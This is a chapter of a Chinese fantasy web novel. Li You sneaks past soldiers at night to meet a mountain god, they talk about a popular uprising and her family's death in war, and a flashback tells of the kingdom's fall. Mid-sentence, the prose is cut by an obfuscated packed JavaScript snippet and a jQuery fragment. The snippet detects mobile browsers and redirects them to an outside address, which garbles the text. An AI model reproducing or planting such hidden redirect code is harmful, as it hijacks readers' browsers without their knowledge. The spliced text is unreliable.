17. 困顿
作品:《与魈书契山河债》 “哟,幺儿回来啦。”老鸣开门,嘴里叫的是黎宥,可是眼睛却一直往嵩身上瞟。黎宥不想戳穿他,嵩才来过家里两回,总共不过两天时间,老鸣怎么格外在意他。
她随口说道:“今天大街上一群人闹得沸沸扬扬,你咋不去凑热闹啊?”
老鸣把门关上,晃着手道:“嘿,小孩儿四处跑啊叫的,我早知道了,鬼知道在干嘛呢。去人堆子离挤着倒不如在家里躺着。”
“我以为你又到哪儿去蹭酒吃了。”黎宥道。
老鸣默不作声,鬼鬼祟祟地看了嵩一眼,又滴溜着眼珠子假装咳嗽。
黎宥心道他显然是故意的,极力捕捉他的视线调侃道:“你藏什么事儿了?看他做什么呢?咋,长得像你儿子啊?”
老鸣闻言眼神一下变直了,抬手就要揪她耳朵:“能耐了你,养你一个够呛,还儿子。”
黎宥憋笑,不过从认识老鸣以来,确实没听说过他有孩子。
“你这臭小子真没眼力见。”他一指正在小憩的嵩,“看他,这发型,时兴不?这衣裳,干净不?”
黎宥不明所以地点点头。
“我给他洗的!”老鸣呲牙咧嘴,“这小子一开始不乐意,还瞪我。我也没想到,他洗干净之后长得还蛮体面的嘛。”
黎宥属实没想到,这老鸣还有搞造型的爱好:“豁,你这手法不出去开个店可惜了呀。”她凑到嵩跟前左瞧右瞧,他正盘着手闭着眼,也不晓得是真睡还是假睡。
不过,洗干净了之后,他的棱角确是分明了许多,眉眼间少了凶狠,以前说是山中野兽不为过,而如今则像是个正经的江湖侠客了。
简单的休息过后,黎宥便独自上山拜见山神了。为了防止别人认出他来,她还披了件破破的大衣拄了根木杖,远远看上去就像个花子。
她特地挑在晚上出发。先前茶客说的“重金寻黎宥”她还未忘怀,她虽交际不广,但最好还是趁没人捉拿先藏藏自己。
淮池没有宵禁,所以街上来来往往的人很多,必然没人理会她一个路上闲逛之人。而走到凌云山脚时,刚好是各家各店关门熄灯时,回家的回家,忙收拾的忙收拾,约等于没人知道她上山。
淮池百姓是山的人家,众人皆知,大晚上上山,不是去寻死就是想偷偷越境。
黎宥扎紧了裤腿儿,这个季节,蚊虫是一窝一窝追着你咬的。
她躲在一家店的牌匾后面,视情况而行。亦如茶客所说,山脚边上布排了许多士兵。她从地上捡起几块碎石子,瞄准了离她最近的两个士兵,石子“簌簌”两声飞了出去,两个人闷声倒地。
“就这还当士兵,弱不禁风的。”黎宥低声道。
山上幽黑无比,不时似有野兽低吼。一回生二回熟,纵使几乎看不见,她也对每一步都了如指掌。
约摸过了一个时辰,耳边终于传来了流水声,黎宥侧耳聆听,确认这流水声的空旷程度是来自于通往山神殿的山坳。
黎宥松了口气。一路上,她除了要提防野怪,还要时刻保证自己的清醒——深山又是夜晚,她要是像先前一样头晕眼花,怕是死在山里十年都没人发现。原本她宁信自己也绝不信鬼神,而不知从何时起,她就不知不觉地开始信奉山神。现在,光是站在这山间,便觉得无比心安。
下山坡、石桥路一气呵成,一路上,视野越走越开阔明亮,没想到,山神殿在夜晚之中是亮着灯火的,看起来没有白天时那么清冷。
当黎宥还沉迷在这赏心悦目的光景中时,山神已经悄然出现在她身前。
“你来了。”山神的语气里带着笑意,当真是很欢迎她。
黎宥恍然回神,赶忙行礼。
山神点头致意:“只少许时日未见,今日你来,想必对我们梦中所谈,已经有所成果。”
山神的声音温润而儒雅,像一阵泠泠的凉风。黎宥将前日在公孙府里所遇之事,以及今日所见所闻在心中捋了捋,总结出了“公孙氏仍有谜团但新政风气已败”的结论。
她尤其强调了今日所发生之事:“山神大人,小辈今日替人解决矛盾之时,街上冲出来了一支名为“啸山起义军”的队伍。据我所知,这啸山起义军乃淮池百姓做组,目的是推翻新政,可是……”
她说着渐渐皱起了眉。
山神轻道:“你有所不知,吾也是这两日才在山中发现了他们的踪迹,就在挽云山。为首者带领了数百人至山中一洼地处进行训练,想来必是要炼成一支大军与朝廷相抗。”
黎宥心道这个啸山军还真够厉害的,她严肃道:“山神大人,您可知,今日大街上,成百上千的百姓在啸山军的鼓动下,皆加入了他们,扬言要跟朝廷打一仗?”
山神无奈道:“看来吾没有看错,这个公孙氏一无所能,久留必坏淮池国运。”
黎宥道:“可是……他们这是要打仗啊,战火会让多少人失去家,失去安稳的生活?山神大人这是,默许了他们的行为?”
他摇头:“吾并非此意,只是,你看起来很担心战争,吾能知道这是为何吗?”未等黎宥回答,他徐徐地叹了口气,“战火虽可怕,却是解决问题最快的办法。百姓们在大朝之下可谓没有任何优势,唯一的力量,便是人多。人多最好办的,便是造反,起事,打仗,唯有如此,才有可能改变如今的处境。”
黎宥咽了口口水,道:“我……我曾因战火失去了所有家人。”她的声音有些颤抖,“我只是不理解,为什么非要争个你死我活不可。再说了,他们若有朝一日真的把公孙氏打下台了,又有谁会接续淮池的政事呢?就算有人当上了新国主,就能避免以后都不会再有战争了吗……?”
山神沉默不语,他眼中有些许哀怜地看了看黎宥,又用薄凉的眼神望天。
见山神不语,黎宥缓缓抬起头,小心翼翼道:“是我说错了什么吗?”黎宥很少发出疑问,更是不曾质疑自己,但自从见了山神,尊卑礼教似乎就把她捆住了。她将山神摆在心中至高的位置上,把自己变成他脚下的微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420097|168994||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风也好,云彩也罢,她只是想让淮池再好一点,让黎民百姓再安康一点。
“你跟吾来。”山神道。
他乘着飘渺的云雾转身走去,黎宥起身追赶。
他们停在一座高大宏伟的建筑面前,雕刻着繁复花纹的大门之上,亦有一个亮眼的牌匾,题字“山神大殿”。这里与上次幻境中的山神殿不一样,黎宥心想。
山神合眼,将两手合十置于胸前,少顷,大门沉重缓慢地打开。
………
………
遥远的一圈年轮中,黄土大地之上,邦国兴盛,极目眺去,铅色的城墙矗立,士兵威严,各式旌旗蔽空,好一个文明盛世。
那是比邻海岸的一个城郡。
它原本是个什么大国的小小城,而因其依山傍水,三面靠着依云、凌云、挽云、念云四山,此独特地形,便逐渐独立出来,自成一体,成了小小国。巧然之下,原本是习法术的黎氏一族收服了一只祸山害水的妖怪,被百姓供奉为此国的掌权人。
于是乎,此名为“淮池”的国度,便诞生了。
人们于此地,安居乐业,至今已有二三百年之久。
在青砖黄墙上,已经无法窥见前朝的伤疤。好几代人几乎没见过硝烟,不知道战乱,连祖上的传说都越讲越没了味儿。他们的幸福,就好比静水流深。
那时人们很慢很慢地推着历史前进,然而分久必合、合久必分乃天下大势,总有些突如其来的变故要打破这份安好。而于安逸庇护下的这些人,强硬早就被羸弱替代,最适合当死神的下饭菜。
某日全国民众被告知,淮池受到邻国挑衅。然而却不见国主对此有任何动作或是计策,随之而来的,是突如其来的战火,没有人指挥战场,没有人传信发报,皇府在夜深人静时被大火吞没,人们几乎一睁眼就发现自己家徒四壁了:
屋顶被掀了去,什么猪屎鸟屎全都洒在身上。那不知何来的箭亦是乱射,不是扎死了牛就是插粪堆里去了。
这仗随任何一个人看来都是囫囵吞枣的。国主活不见人死不见尸,仿佛人间蒸发了一般。
一个国度,就此由盛转衰,濒临覆灭,虚生浪死。
如今,战争已是八年前的事情了。
生在这乱世里,哪有不可怜的,周围人都习惯了装模作样地活着,或许会有人说这多虚伪,但是事实上,谁会愿意低着头活呢?
但总得有人当地上的泥巴,人们才能在乱世里站稳脚跟啊。有人记得的,一定会有人心里还惦记着这个美好的国度。军官不记得,平民不记得……但是有个人记得。
黎宥记得。
她没有家了,这片土地是她唯一的归宿。自从战火以来,她的眼睛就注定要装满世人的眼泪的,她只要还活着,就注定要亲自去偿还,偿她父亲的血债,还她母亲的恩愿。
亲卫趁夜抱着所谓“皇子”冲出火海,把她安置在一个废弃马棚下,临死前还替她拍净了衣上的尘土,守着她直到天明。